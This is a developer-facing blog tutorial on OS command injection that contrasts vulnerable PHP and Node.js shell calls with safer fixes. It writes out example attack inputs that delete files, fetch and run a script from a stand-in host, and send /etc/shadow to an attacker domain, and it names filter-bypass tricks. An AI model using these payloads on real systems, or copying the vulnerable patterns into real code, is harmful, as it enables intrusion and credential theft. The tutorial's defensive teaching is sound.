Command Injection: Stop Letting Hackers SSH Into Your Soul 💀
Command Injection: Stop Letting Hackers SSH Into Your Soul 💀
If SQL injection is handing someone your database keys, OS command injection is handing them the ENTIRE server. Keys, secrets, production database, your embarrassing .bash_history - everything. 🙃
I discovered my first command injection vulnerability during a bug bounty session about three years ago. A perfectly normal-looking "ping tool" on a web app. You typed an IP address, it pinged it. Cute. Except when I typed 8.8.8.8; cat /etc/passwd, it pinged Google AND dumped the user database at me.
My heart rate did something interesting that day.
What Actually Is Command Injection? 🤔
It's when your application takes user input and passes it directly to a system shell command. The shell doesn't know the difference between "your code" and "user input" - it just executes whatever it receives.
Think of it like this: you hire someone to send letters for you. You tell them "send this to John Smith." Simple. But if they'll just read whatever note you hand them verbatim - including if it says "send this to John Smith AND wire $10,000 to my account" - that's the bug.
Your shell is that letter sender. And it's extremely literal.
The Classic Disaster 💥
Here's how developers accidentally build a hacker's paradise:
The "I'll just call system commands" approach (PLEASE DON'T):
// Generating a thumbnail? What could go wrong?
$filename = $_GET['file'];
shell_exec("convert " . $filename . " -resize 200x200 thumbnail.jpg");
What happens when someone sends file=photo.jpg; rm -rf /?
Your server just tried to delete itself. Congrats! 🎉
Or the Node.js version that makes me cry at night:
// "Quick" way to run a system tool
const { exec } = require('child_process');
exec(`ffmpeg -i ${req.query.input} output.mp4`, callback);
Attacker input: input.mp4 && curl evil.com/shell.sh | bash
Your server just downloaded and ran malware. Hope your backups are current! 🔥
Real Talk: Why This Happens 💬
In my experience building production systems, I've seen this pattern more times than I care to admit. It's almost never malicious on the developer's part - it's usually:
- "I just need to call this one CLI tool quickly"
- "This endpoint is internal-only, nobody evil will reach it"
- "I'll sanitize the input later" (narrator: they didn't)
In security communities, we often discuss how command injection frequently lives in the "forgotten" features - the image resizer, the PDF generator, the file converter, the network diagnostic tool that someone built in 2019 and nobody has touched since.
Those quiet features? That's where bugs hibernate.
The Anatomy of an Attack 🔬
Shell metacharacters are the weapons here. The characters that mean something special to a Unix shell:
;- run another command after this one&&- run another command IF this one succeeds||- run another command IF this one FAILS|- pipe output to another command`- execute this as a command (backtick)$()- same but more modern>and>>- redirect output to files&- run in background
So your "safe" input photo.jpg becomes photo.jpg; whoami becomes photo.jpg && curl attacker.com/exfil?data=$(cat /etc/shadow | base64).
Yeah. It escalates fast.
The Right Way to Fix It 🛡️
Rule #1: Don't use shell commands when you don't have to.
Laravel has native PHP functions, Node has libraries. Use them.
// BAD: Calling ImageMagick via shell
shell_exec("convert " . $file . " thumbnail.jpg");
// GOOD: Using a PHP library that doesn't touch the shell
use Intervention\Image\Facades\Image;
$image = Image::make($file)->resize(200, 200)->save('thumbnail.jpg');
Rule #2: If you MUST call a shell, use argument escaping.
// BAD
shell_exec("ping " . $host);
// GOOD - escapeshellarg wraps in quotes and escapes dangerous chars
$safeHost = escapeshellarg($host);
shell_exec("ping " . $safeHost);
Node.js has execFile() and spawnSync() which pass arguments as arrays - no shell interpretation:
// BAD - goes through shell, dangerous
exec(`convert ${filename} thumbnail.jpg`);
// GOOD - arguments are separate, no shell interpolation
const { execFile } = require('child_process');
execFile('convert', [filename, '-resize', '200x200', 'thumbnail.jpg'], callback);
Rule #3: Whitelist, don't blacklist.
Trying to block ;, &&, |, etc.? You'll miss something. Characters like $IFS and {cat,/etc/passwd} and URL encoding will get through.
Instead, validate what's ALLOWED:
// BAD: Trying to remove bad characters
$clean = str_replace([';', '&&', '|'], '', $input);
// GOOD: Only allow what you expect (e.g., an IP address)
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
abort(400, 'Invalid IP address');
}
Pro Tip: Run With Least Privilege 🔒
Even if an attacker gets command injection working, they can only do what your application user can do.
If your web app runs as www-data with read-only access to only what it needs, the blast radius shrinks dramatically. They can't rm -rf / if they don't have write permissions. They can't read /etc/shadow if it's root-only.
In my experience building production systems on AWS, this is why Lambda functions are actually better at containment than long-running servers - each invocation is isolated, the execution role only has the exact permissions defined in IAM, and there's no persistent filesystem for malware to live in.
Serverless isn't just about scaling. It's inadvertently excellent security hygiene.
Finding It in Your Codebase 🔎
Quick grep to find risky patterns in PHP:
grep -rn "shell_exec\|exec(\|system(\|passthru\|popen\|proc_open" ./app
In Node.js:
grep -rn "exec(\|execSync(" ./src
Any result that includes a variable (not a hardcoded string) deserves a careful look.
The Bug Bounty Angle 🎯
As someone who spends time in bug bounty communities, command injection is still being found regularly. The highest-severity findings I've seen submitted are almost always:
- Image/file processing endpoints
- Network diagnostic tools (ping, traceroute, nslookup)
- PDF generation (anything calling wkhtmltopdf or similar)
- Backup/export features that call CLI tools
- "Admin only" features that aren't as admin-only as assumed
If you're hunting, look for places where the app seems to call system utilities. If you're building, audit those exact same places.
Your Action Items 📋
- Grep your codebase for
shell_exec,exec,system,exec()in Node - Replace shell calls with native libraries where possible
- Use
execFile()/spawnSync()in Node instead ofexec() - Use
escapeshellarg()andescapeshellcmd()in PHP if you must shell out - Run your app process with minimum required OS permissions
- Never trust user input as part of a command string - validate strictly
TL;DR 🏁
OS command injection is what happens when you let user input touch your shell. The fix isn't complicated - it's mostly "stop calling shell commands with user data directly." Use libraries, use argument arrays, escape everything, and run with least privilege.
Your server is not a public terminal. Don't let it act like one.
Questions or security horror stories? Find me on LinkedIn or check out my GitHub. I'm always down to talk security - it's the hobby that pays (sometimes literally, in bug bounties 💰).
Stay paranoid. Stay patched. 🛡️